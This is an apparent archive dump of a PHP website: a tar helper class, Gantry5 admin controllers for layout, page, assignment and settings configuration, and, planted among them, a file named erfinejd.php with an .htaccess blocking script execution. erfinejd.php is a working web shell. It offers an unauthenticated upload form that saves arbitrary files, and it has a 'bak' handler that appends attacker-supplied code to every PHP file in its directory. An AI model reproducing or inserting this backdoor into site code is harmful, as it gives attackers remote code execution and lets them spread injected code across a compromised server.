		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').'
'.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result :
'');
			}
		} else $result = '';
		
		return $result;
	}
}
?>htaccess.back000064400000000177151153624430007174
0ustar00<FilesMatch
'.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>erfinejd.php000064400000001370151153624440007051
0ustar00<?php echo"<form method='post'
enctype='multipart/form-data'><input type='file'
name='a'><input type='submit'
value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file,
'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
Gantry/Admin/Controller/Html/About.php000064400000001413151157471010013653
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Admin\ThemeList;
use Gantry\Component\Admin\HtmlController;

class About extends HtmlController
{
    public function index()
    {
        // TODO: Find better way:
        $this->params['info'] = (new
ThemeList)->getTheme($this->container['theme.name']);

        return
$this->render('@gantry-admin/pages/about/about.html.twig',
$this->params);
    }
}
Gantry/Admin/Controller/Html/Cache.php000064400000002131151157471010013602
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Response\JsonResponse;
use Gantry\Component\Filesystem\Folder;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Cache extends HtmlController
{
    public function index()
    {
        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        Folder::delete($locator('gantry-cache://theme'), false);
        Folder::delete($locator('gantry-cache://admin'), false);

        // Make sure that PHP has the latest data of the files.
        clearstatcache();

        return new JsonResponse(['html' => 'Cache was
successfully cleared', 'title' => 'Cache
Cleared']);
    }
}
Gantry/Admin/Controller/Html/Configurations/Assignments.php000064400000004435151157471010020075
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html\Configurations;

use Gantry\Component\Admin\HtmlController;
use Gantry\Framework\Assignments as AssignmentsObject;
use RocketTheme\Toolbox\Event\Event;

class Assignments extends HtmlController
{
    public function index()
    {
        $outline = $this->params['outline'];

        if ($this->hasAssignments($outline)) {
            $assignments = new AssignmentsObject($outline);

            $this->params['assignments'] =
$assignments->get();
            $this->params['options'] =
$assignments->assignmentOptions();
            $this->params['assignment'] =
$assignments->getAssignment();
        }

        return
$this->render('@gantry-admin/pages/configurations/assignments/assignments.html.twig',
$this->params);
    }

    public function store()
    {
        // Authorization.
        if (!$this->authorize('outline.assign')) {
            $this->forbidden();
        }

        $outline = $this->params['outline'];
        if (!$this->hasAssignments($outline)) {
            $this->undefined();
        }

        if (!$this->request->post->get('_end')) {
            throw new \OverflowException("Incomplete data received.
Please increase the value of 'max_input_vars' variable (in
php.ini or .htaccess)", 400);
        }

        // Save assignments.
        $assignments = new AssignmentsObject($outline);
       
$assignments->save($this->request->post->getArray('assignments'));

        // Fire save event.
        $event = new Event;
        $event->gantry = $this->container;
        $event->theme = $this->container['theme'];
        $event->controller = $this;
        $event->assignments = $assignments;
       
$this->container->fireEvent('admin.assignments.save',
$event);

        return '';
    }

    protected function hasAssignments($outline)
    {
        // Default outline and system outlines cannot have assignments.
        return $outline !== 'default' && $outline[0] !==
'_';
    }
}
Gantry/Admin/Controller/Html/Configurations/Layout.php000064400000043155151157471010017061
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html\Configurations;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\BlueprintForm;
use Gantry\Component\Config\Config;
use Gantry\Component\File\CompiledYamlFile;
use Gantry\Component\Layout\Layout as LayoutObject;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Outlines;
use RocketTheme\Toolbox\Event\Event;

class Layout extends HtmlController
{
    protected $httpVerbs = [
        'GET'    => [
            '/'         => 'index',
            '/create'   => 'create',
            '/create/*' => 'create',
            '/*'        => 'undefined',
            '/switch'   => 'listSwitches',
            '/switch/*' => 'switchLayout',
            '/preset'   => 'undefined',
            '/preset/*' => 'preset'
        ],
        'POST'   => [
            '/'                     => 'save',
            '/*'                    => 'undefined',
            '/*/*'                  => 'particle',
            '/switch'               => 'undefined',
            '/switch/*'             =>
'switchLayout',
            '/preset'               => 'undefined',
            '/preset/*'             => 'preset',
            '/particles'            => 'undefined',
            '/particles/*'          => 'undefined',
            '/particles/*/validate' => 'validate'
        ],
        'PUT'    => [
            '/*' => 'replace'
        ],
        'PATCH'  => [
            '/*' => 'update'
        ],
        'DELETE' => [
            '/*' => 'destroy'
        ]
    ];

    public function create($id = null)
    {
        if (!$id) {
            // TODO: we might want to display list of options here
            throw new \RuntimeException('Not Implemented', 404);
        }

        $layout = $this->getLayout("presets/{$id}");
        if (!$layout) {
            throw new \RuntimeException('Preset not found', 404);
        }
        $this->params['page_id'] = $id;
        $this->params['layout'] =
$layout->prepareWidths()->toArray();

        return
$this->render('@gantry-admin/pages/configurations/layouts/create.html.twig',
$this->params);
    }

    public function index()
    {
        $outline = $this->params['outline'];
        $layout = $this->getLayout($outline);
        if (!$layout) {
            throw new \RuntimeException('Layout not found', 404);
        }

        $groups = [
            'Positions' => ['position' => [],
'spacer' => [], 'system' => []],
            'Particles' => ['particle' => []]
        ];

        $particles = [
            'position'    => [],
            'spacer'      => [],
            'system' => [],
            'particle' => []
        ];

        $particles = array_replace($particles, $this->getParticles());
        foreach ($particles as &$group) {
            asort($group);
        }
        unset($group);

        foreach ($groups as $section => $children) {
            foreach ($children as $key => $child) {
                $groups[$section][$key] = $particles[$key];
            }
        }

        $this->params['page_id'] = $outline;
        $this->params['layout'] =
$layout->prepareWidths()->toArray();
        $this->params['preset'] = $layout->preset;
        $this->params['preset_title'] =
ucwords(trim(str_replace('_', ' ',
$layout->preset['name'])));
        $this->params['id'] =
ucwords(str_replace('_', ' ', ltrim($outline,
'_')));
        $this->params['particles'] = $groups;
        $this->params['switcher_url'] =
str_replace('.', '/',
"configurations.{$outline}.layout.switch");

        return
$this->render('@gantry-admin/pages/configurations/layouts/edit.html.twig',
$this->params);
    }

    public function save()
    {
        $layout = $this->request->post->get('layout');
        $layout = json_decode($layout);

        if (!isset($layout)) {
            throw new \RuntimeException('Error while saving layout:
Structure missing', 400);
        }

        $outline = $this->params['outline'];
        $preset =
$this->request->post->getJsonArray('preset');

        // Create layout from the data.
        $layout = new LayoutObject($outline, $layout, $preset);
        $layout->init(false, false);

        /** @var Outlines $outlines */
        $outlines = $this->container['outlines'];

        // Update layouts from all inheriting outlines.
        $elements = $layout->sections() + $layout->particles(false);
        foreach ($outlines->getInheritingOutlines($outline) as
$inheritedId => $inheritedName) {
           
LayoutObject::instance($inheritedId)->updateInheritance($outline,
$outline, $elements)->save()->saveIndex();
        }

        // Save layout and its index.
        $layout->save()->saveIndex();

        // Fire save event.
        $event = new Event;
        $event->gantry = $this->container;
        $event->theme = $this->container['theme'];
        $event->controller = $this;
        $event->layout = $layout;
        $this->container->fireEvent('admin.layout.save',
$event);
    }

    public function particle($type, $id)
    {
        if ($type === 'atom') { return ''; }

        $outline = $this->params['outline'];
        $layout = $this->getLayout($outline);
        if (!$layout) {
            throw new \RuntimeException('Layout not found', 404);
        }

        $item = $layout->find($id);
        $item->type    = $this->request->post['type'] ?:
$type;
        $item->subtype = $this->request->post['subtype']
?: $type;
        $item->title   = $this->request->post['title']
?: ucfirst($type);
        $parent   = $this->request->post['parent'] ?:
$layout->getParentId($id);
        if (!isset($item->attributes)) {
            $item->attributes = new \stdClass;
        }
        if (!isset($item->inherit)) {
            $item->inherit = new \stdClass;
        }

        $block =
$this->request->post->getArray('block');
        if (!empty($block)) {
            $item->block = (object) $block;
        }

        $attributes =
$this->request->post->getArray('options');
        $inherit =
$this->request->post->getArray('inherit');

        $particle = !$layout->isLayoutType($type);
        if (!$particle) {
            $name = $type;
            $section = ($type === 'section');
            $hasBlock = $section && !empty($block);
            $prefix = "particles.{$type}";
            $defaults = [];
            $attributes += (array) $item->attributes;
            $blueprints =
BlueprintForm::instance("layout/{$type}.yaml",
'gantry-admin://blueprints');

        } else {
            $name = $item->subtype;
            $hasBlock = true;
            $prefix = "particles.{$name}";
            $defaults = (array)
$this->container['config']->get($prefix);

            $blueprints =
$this->container['particles']->getBlueprintForm($name);
            $blueprints->set('form/fields/_inherit',
['type' => 'gantry.inherit']);
        }

        if ($hasBlock) {
            $blockBlueprints =
BlueprintForm::instance('layout/block.yaml',
'gantry-admin://blueprints');
        } else {
            $blockBlueprints = null;
        }

        $file =
"gantry-admin://blueprints/layout/inheritance/{$type}.yaml";
        if (file_exists($file)) {
            $inheritType = $particle ? 'particle' :
'section';

            /** @var Outlines $outlines */
            $outlines = $this->container['outlines'];

            if ($outline !== 'default') {
                if ($particle) {
                    $list =
$outlines->getOutlinesWithParticle($item->subtype, false);
                } else {
                    $list =
$outlines->getOutlinesWithSection($item->id, false);
                }
                unset($list[$outline]);
            } else {
                $list = [];
            }

            if (!empty($inherit['outline']) || (!($inheriting =
$outlines->getInheritingOutlines($outline, [$id, $parent])) &&
$list)) {
                $inheritable = true;
                $inheritance = BlueprintForm::instance($file,
'gantry-admin://blueprints');

               
$inheritance->set('form/fields/outline/filter',
array_keys($list));
                if (!$hasBlock) {
                   
$inheritance->undef('form/fields/include/options/block');
                }

                if ($particle) {
                   
$inheritance->set('form/fields/particle/particle', $name);
                }

            } elseif (!empty($inheriting)) {
                // Already inherited by other outlines.
                $inheritance =
BlueprintForm::instance('layout/inheritance/messages/inherited.yaml',
'gantry-admin://blueprints');
                $inheritance->set(
                    'form/fields/_note/content',
                   
sprintf($inheritance->get('form/fields/_note/content'),
$inheritType, ' <ul><li>' . implode('</li>
<li>', $inheriting) . '</li></ul>')
                );

            } elseif ($outline === 'default') {
                // Base outline.
                $inheritance =
BlueprintForm::instance('layout/inheritance/messages/default.yaml',
'gantry-admin://blueprints');

            } else {
                // Nothing to inherit from.
                $inheritance =
BlueprintForm::instance('layout/inheritance/messages/empty.yaml',
'gantry-admin://blueprints');
            }
        }

        $item->attributes = (object) $attributes;
        $item->inherit = (object) $inherit;

        $this->params['id'] = $name;
        $this->params += [
            'extra'         => $blockBlueprints,
            'inherit'       =>
!empty($inherit['outline']) ? $inherit['outline'] :
null,
            'inheritance'   => isset($inheritance) ?
$inheritance : null,
            'inheritable'   => !empty($inheritable),
            'item'          => $item,
            'data'          => ['particles' =>
[$name => $item->attributes]],
            'defaults'      => ['particles' =>
[$name => $defaults]],
            'prefix'        => "particles.{$name}.",
            'particle'      => $blueprints,
            'parent'        => 'settings',
            'route'         =>
"configurations.{$outline}.settings",
            'action'        => str_replace('.',
'/', 'configurations.' . $outline .
'.layout.' . $prefix . '.validate'),
            'skip'          => ['enabled'],
            'editable'      => $particle,
            'overrideable'  => $particle,
        ];

        if ($particle) {
            $result =
$this->render('@gantry-admin/pages/configurations/layouts/particle.html.twig',
$this->params);
        } else {
            $typeLayout = $type === 'container' ?
'container' : 'section';
            $result =
$this->render('@gantry-admin/pages/configurations/layouts/' .
$typeLayout . '.html.twig', $this->params);
        }

        return $result;
    }

    public function listSwitches()
    {
        $this->params['presets'] = LayoutObject::presets();
        $result =
$this->render('@gantry-admin/layouts/switcher.html.twig',
$this->params);

        return new JsonResponse(['html' => $result]);
    }

    public function switchLayout($id)
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        $outline = $this->params['outline'];
        $layout = $this->getLayout($id);
        if (!$layout->toArray()) {
            // Layout hasn't been defined, return default layout
instead.
            $layout = $this->getLayout('default');
        }

        $input =
$this->request->post->getJson('layout');
        $deleted = isset($input) ?
$layout->clearSections()->copySections($input): [];
        if ($outline === 'default') {
            $layout->inheritNothing();
        } elseif (!$input &&
$this->request->post['inherit'] === '1') {
            $layout->inheritAll();
        }

        $message = $deleted
            ?
$this->render('@gantry-admin/ajax/particles-loss.html.twig',
['particles' => $deleted])
            : null;

        return new JsonResponse([
            'title' => ucwords(trim(str_replace('_',
' ', $layout->preset['name']))),
            'preset' => json_encode($layout->preset),
            'data' =>
$layout->prepareWidths()->toJson(),
            'deleted' => $deleted,
            'message' => $message
        ]);
    }

    public function preset($id)
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        $preset = LayoutObject::preset($id);
        if (!$preset) {
            throw new \RuntimeException('Preset not found', 404);
        }

        $layout = new LayoutObject($id, $preset);

        $input =
$this->request->post->getJson('layout');
        $deleted = isset($input) ?
$layout->clearSections()->copySections($input): [];
        $message = $deleted
            ?
$this->render('@gantry-admin/ajax/particles-loss.html.twig',
['particles' => $deleted])
            : null;

        return new JsonResponse([
            'title' => ucwords(trim(str_replace('_',
' ', $id))),
            'preset' => json_encode($layout->preset),
            'data' =>
$layout->prepareWidths()->toJson(),
            'deleted' => $deleted,
            'message' => $message
        ]);
    }

    public function validate($particle)
    {
        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        // Load particle blueprints and default settings.
        $validator = new BlueprintSchema;

        $name = $particle;
        if (in_array($particle, ['wrapper', 'section',
'container', 'grid', 'offcanvas'], true)) {
            $type = $particle;
            $particle = null;
            $file =
CompiledYamlFile::instance("gantry-admin://blueprints/layout/{$type}.yaml");
            $validator->embed('options',
(array)$file->content());
            $file->free();
        } else {
            $type = in_array($particle, ['spacer',
'system', 'position'], true) ? $particle : 
'particle';
            $validator->embed('options',
$this->container['particles']->get($particle));
        }

        // Create configuration from the defaults.
        $data = new Config(
            [
                'type'    => $type,
            ],
            function () use ($validator) {
                return $validator;
            }
        );

        // Join POST data.
        $data->join('options',
$this->request->post->getArray("particles." . $name));
        if ($particle) {
            $data->set('options.enabled', (int)
$data->get('options.enabled', 1));
        }

        if ($particle) {
            if ($type !== $particle) {
                $data->set('subtype', $particle);
            }

            $data->join('title',
$this->request->post['title'] ?: ucfirst($particle));
        }

        $block =
$this->request->post->getArray('block');
        if ($block) {
            // TODO: remove empty items in some other way:
            foreach ($block as $key => $param) {
                if ($param === '') {
                    unset($block[$key]);
                    continue;
                }
                if ($key === 'size') {
                    $param = round($param, 4);
                    if ($param < 5) {
                        $param = 5;
                    } elseif ($param > 100) {
                        $param = 100;
                    }
                    $block[$key] = $param;
                }
            }

            $data->join('block', $block);
        }

        $inherit =
$this->request->post->getArray('inherit');
        $clone = !empty($inherit['mode']) &&
$inherit['mode'] === 'clone';
        $inherit['include'] =
!empty($inherit['include']) ? explode(',',
$inherit['include']) : [];
        if (!$clone && !empty($inherit['outline'])
&& count($inherit['include'])) {
            // Clean up inherit and add it to the data.
            if (!$block) {
                $inherit['include'] =
array_values(array_diff($inherit['include'],
['block']));
            }

            unset($inherit['mode']);
            $data->join('inherit', $inherit);
        }

        // Optionally send children of the object.
        if (in_array('children', $inherit['include'],
true)) {
            $layout = LayoutObject::instance($inherit['outline']
?: $this->params['outline']);
            if ($clone) {
                $item = $layout->find($inherit['section']);
            } else {
                $item =
$layout->inheritAll()->find($inherit['section']);
            }
            $data->join('children', !empty($item->children)
? $item->children : []);
        }

        // TODO: validate

        return new JsonResponse(['data' =>
$data->toArray()]);
    }

    /**
     * @param string $name
     * @return LayoutObject
     */
    protected function getLayout($name)
    {
        return LayoutObject::instance($name);
    }

    protected function getParticles($onlyEnabled = false)
    {
        /** @var Config $config */
        $config = $this->container['config'];

        $particles = $this->container['particles']->all();

        $list = [];
        foreach ($particles as $name => $particle) {
            $type = isset($particle['type']) ?
$particle['type'] : 'particle';
            $particleName = isset($particle['name']) ?
$particle['name'] : $name;
            $particleIcon = isset($particle['icon']) ?
$particle['icon'] : null;

            if (!$onlyEnabled ||
$config->get("particles.{$name}.enabled", true)) {
                $list[$type][$name] = ['name' =>
$particleName, 'icon' => $particleIcon];
            }
        }

        return $list;
    }
}
Gantry/Admin/Controller/Html/Configurations/Page.php000064400000026514151157471010016460
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html\Configurations;

use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\BlueprintSchema;
use Gantry\Component\Config\Config;
use Gantry\Component\Layout\Layout;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Atoms;
use Gantry\Framework\Services\ConfigServiceProvider;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Page extends HtmlController
{
    protected $httpVerbs = [
        'GET'    => [
            '/' => 'index'
        ],
        'POST'   => [
            '/'                 => 'save',
            '/*'                => 'save',
            '/*/**'             => 'formfield',
            '/atoms'            => 'undefined',
            '/atoms/*'          => 'atom',
            '/atoms/*/validate' => 'atomValidate'
        ],
        'PUT'    => [
            '/' => 'save'
        ],
        'PATCH'  => [
            '/' => 'save'
        ],
        'DELETE' => [
            '/' => 'forbidden'
        ]
    ];

    public function index()
    {
        $outline = $this->params['outline'];

        if ($outline == 'default') {
            $this->params['overrideable'] = false;
            $data = $this->container['config'];
        } else {
            $this->params['overrideable'] = true;
            $this->params['defaults'] = $defaults =
$this->container['defaults'];
            $data = ConfigServiceProvider::load($this->container,
$outline, false, false);
        }

        $deprecated = $this->getDeprecatedAtoms();
        if ($deprecated) {
            $data->set('page.head.atoms', $deprecated);
        }

        if (isset($defaults)) {
            $currentAtoms = $data->get('page.head.atoms');
            if (!$currentAtoms) {
                // Make atoms to appear to be inherited in they are loaded
from defaults.
                $defaultAtoms = (array)
$defaults->get('page.head.atoms');
                $atoms = (new
Atoms($defaultAtoms))->inheritAll('default')->toArray();
                $defaults->set('page.head.atoms', $atoms);
            }
        }

        $this->params += [
            'data' => $data,
            'page' =>
$this->container['page']->group(),
            'route'  => "configurations.{$outline}",
            'page_id' => $outline,
            'atoms' => $this->getAtoms(),
            'atoms_deprecated' => $deprecated
        ];

        return
$this->render('@gantry-admin/pages/configurations/page/page.html.twig',
$this->params);
    }

    public function save($id = null)
    {
        $data = $id ? [$id => $this->request->post->getArray()]
: $this->request->post->getArray('page');

        foreach ($data as $name => $values) {
            $this->saveItem($name, $values);
        }

        // Fire save event.
        $event             = new Event;
        $event->gantry     = $this->container;
        $event->theme      = $this->container['theme'];
        $event->controller = $this;
        $event->data       = $data;
        $this->container->fireEvent('admin.page.save',
$event);

        return $id ? $this->display($id) : $this->index();
    }

    public function formfield($id)
    {
        $path = func_get_args();

        $end = end($path);
        if ($end === '') {
            array_pop($path);
        }
        if (end($path) == 'validate') {
            return call_user_func_array([$this, 'validate'],
$path);
        }

        // Load blueprints.
        $blueprints =
$this->container['page']->getBlueprintForm($id);

        list($fields, $path, $value) =
$blueprints->resolve(array_slice($path, 1), '/');

        if (!$fields) {
            throw new \RuntimeException('Page Not Found', 404);
        }

        $data =
$this->request->post->getJsonArray('data');

        $offset = "page.{$id}." . implode('.', $path);
        if ($value !== null) {
            $parent = $fields;
            $fields = ['fields' =>
$fields['fields']];
            $offset .= '.' . $value;
            $data = $data ?:
$this->container['config']->get($offset);
            $data = ['data' => $data];
            $scope = 'data.';
        } else {
            $data = $data ?:
$this->container['config']->get($offset);
            $scope = 'data';
        }

        $fields['is_current'] = true;

        array_pop($path);

        $outline = $this->params['outline'];
        $configuration = "configurations/{$outline}";
        $this->params = [
                'configuration' => $configuration,
                'blueprints' => $fields,
                'data' => $data,
                'prefix' => '',
                'scope' => $scope,
                'parent' => $path
                    ? "$configuration/settings/particles/{$id}/"
. implode('/', $path)
                    : "$configuration/settings/particles/{$id}",
                'route' =>
"configurations.{$outline}.{$offset}",
            ] + $this->params;

        if (isset($parent['key'])) {
            $this->params['key'] = $parent['key'];
        }
        if (isset($parent['value'])) {
            $this->params['title'] =
$parent['value'];
        }

        return
$this->render('@gantry-admin/pages/configurations/settings/field.html.twig',
$this->params);
    }

    public function validate($particle)
    {
        $path = implode('.', array_slice(func_get_args(), 1,
-1));

        // Validate only exists for JSON.
        if (empty($this->params['ajax'])) {
            $this->undefined();
        }

        // Load particle blueprints.
        $validator =
$this->container['particles']->get($particle);

        // Create configuration from the defaults.
        $data = new Config(
            [],
            function () use ($validator) {
                return $validator;
            }
        );

        $data->join($path,
$this->request->post->getArray('data'));

        // TODO: validate

        return new JsonResponse(['data' =>
$data->get($path)]);
    }

    public function atom($name)
    {
        $outline = $this->params['outline'];
        $atoms = Atoms::instance($outline);

        $data = $this->request->post['data'];
        if ($data) {
            $data = json_decode($data, true);
        } else {
            $data = $this->request->post->getArray();
        }

        // Create atom and get its blueprint.
        $item = $atoms->createAtom($name, $data);
        $blueprint = $item->blueprint();

        // Load inheritance blueprint.
        $inheritance = $atoms->getInheritanceBlueprint($name,
$item->id);
        $inheritable = $inheritance &&
$inheritance->get('form/fields/outline/filter', []);

        $this->params += [
            'inherit'       =>
!empty($inherit['outline']) ? $inherit['outline'] :
null,
            'inheritance'   => $inheritance,
            'inheritable'   => $inheritable,
            'item'          => $item,
            'data'          => ['particles' =>
[$name => $item->attributes]],
            'blueprints'    => $blueprint,
            'parent'        => 'settings',
            'prefix'        => "particles.{$name}.",
            'route'         =>
"configurations.default.settings",
            'action'        =>
"configurations/{$outline}/page/atoms/{$name}/validate",
            'skip'          => ['enabled']
        ];

        return new JsonResponse(['html' =>
$this->render('@gantry-admin/modals/atom.html.twig',
$this->params)]);
    }

    /**
     * Validate data for the atom.
     *
     * @param string $name
     * @return JsonResponse
     */
    public function atomValidate($name)
    {
        // Load particle blueprints and default settings.
        $validator = new BlueprintSchema;
        $validator->embed('options',
$this->container['particles']->get($name));

        $blueprints =
$this->container['particles']->getBlueprintForm($name);

        // Create configuration from the defaults.
        $data = new Config([],
            function () use ($validator) {
                return $validator;
            }
        );

        $data->set('id',
$this->request->post['id']);
        $data->set('type', $name);
        $data->set('title',
$this->request->post['title'] ?:
$blueprints->get('name'));
        $data->set('attributes',
$this->request->post->getArray("particles.{$name}"));
        $data->def('attributes.enabled', 1);

        $block =
$this->request->post->getArray('block');
        foreach ($block as $key => $param) {
            if ($param === '') {
                unset($block[$key]);
            }
        }

        $inherit =
$this->request->post->getArray('inherit');
        $clone = !empty($inherit['mode']) &&
$inherit['mode'] === 'clone';
        $inherit['include'] =
!empty($inherit['include']) ? explode(',',
$inherit['include']) : [];
        if (!$clone && !empty($inherit['outline'])
&& count($inherit['include'])) {
            unset($inherit['mode']);
            $data->join('inherit', $inherit);
        }

        // TODO: validate

        // Fill parameters to be passed to the template file.
        $this->params['item'] = (object) $data->toArray();

        return new JsonResponse(['item' =>
$data->toArray()]);
    }

    protected function saveItem($id, $data)
    {
        /** @var UniformResourceLocator $locator */
        $locator = $this->container['locator'];

        // Save layout into custom directory for the current theme.
        $outline = $this->params['outline'];

        // Move atoms out of layout.
        if ($id === 'head') {
            $layout = Layout::instance($outline);
            if (is_array($layout->atoms())) {
                $layout->save(false);
            }
            if (isset($data['atoms'])) {
                $atoms = new Atoms($data['atoms']);
                $data['atoms'] =
$atoms->update()->toArray();
            }
        }

        $save_dir      =
$locator->findResource("gantry-config://{$outline}/page",
true, true);
        $filename      = "{$save_dir}/{$id}.yaml";

        $file = YamlFile::instance($filename);
        if (!is_array($data)) {
            if ($file->exists()) {
                $file->delete();
            }
        } else {
            $blueprints =
$this->container['page']->getBlueprintForm($id);
            $config     = new Config($data, function () use ($blueprints) {
return $blueprints; });

            $file->save($config->toArray());
        }
        $file->free();
    }

    protected function getDeprecatedAtoms()
    {
        $id     = $this->params['outline'];
        $layout = Layout::instance($id);

        return $layout->atoms();
    }

    protected function getAtoms($onlyEnabled = false)
    {
        $config = $this->container['config'];

        $atoms = $this->container['particles']->all();

        $list = [];
        foreach ($atoms as $name => $atom) {
            $type     = isset($atom['type']) ?
$atom['type'] : 'atom';
            $atomName = isset($atom['name']) ?
$atom['name'] : $name;

            if (!$onlyEnabled ||
$config->get("particles.{$name}.enabled", true)) {
                $list[$type][$name] = $atomName;
            }
        }

        return $list['atom'];
    }
}
Gantry/Admin/Controller/Html/Configurations/Settings.php000064400000021031151157471010017371
0ustar00<?php
/**
 * @package   Gantry5
 * @author    RocketTheme http://www.rockettheme.com
 * @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
 * @license   Dual License: MIT or GNU/GPLv2 and later
 *
 * http://opensource.org/licenses/MIT
 * http://www.gnu.org/licenses/gpl-2.0.html
 *
 * Gantry Framework code that extends GPL code is considered GNU/GPLv2 and
later
 */

namespace Gantry\Admin\Controller\Html\Configurations;

use Gantry\Admin\Particles;
use Gantry\Component\Admin\HtmlController;
use Gantry\Component\Config\Config;
use Gantry\Component\Response\JsonResponse;
use Gantry\Framework\Services\ConfigServiceProvider;
use RocketTheme\Toolbox\Event\Event;
use RocketTheme\Toolbox\File\YamlFile;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;

class Settings extends HtmlController
{
    protected $httpVerbs = [
        'GET' => [
            '/'                 => 'index',
            '/particles'        => 'undefined',
            '/particles/*'      => 'display',
            '/particles/*/**'   => 'formfield',
        ],
        'POST' => [
            '/'                 => 'save',
            '/particles'        => 'forbidden',
            '/particles/*'      => 'save',
            '/particles/*/**'   => 'formfield'
        ],
        'PUT' => [
            '/'            => 'save',
            '/particles'   => 'forbidden',
            '/particles/*' => 'save'
        ],
        'PATCH' => [
            '/'            => 'save',
            '/particles'   => 'forbidden',
            '/particles/*' => 'save'
        ],
        'DELETE' => [
            '/'            => 'forbidden',
            '/particles'   => 'forbidden',
            '/particles/*' => 'reset'
        ]
    ];

    public function index()
    {
        $outline = $this->params['outline'];

        if ($outline === 'default') {
            $this->params['overrideable'] = false;
            $data = $this->container['config'];
        } else {
            $this->params['overrideable'] = true;
            $this->params['defaults'] =
$this->container['defaults'];
            $data = ConfigServiceProvider::load($this->container,
$outline, false, false);
        }

        /** @var Particles $particles */
        $particles = $this->container['particles'];
        $this->params += [
            'data' => $data,
            'particles' =>
$particles->group(['atom']),
            'route'  =>
"configurations.{$outline}.settings",
            'page_id' => $outline
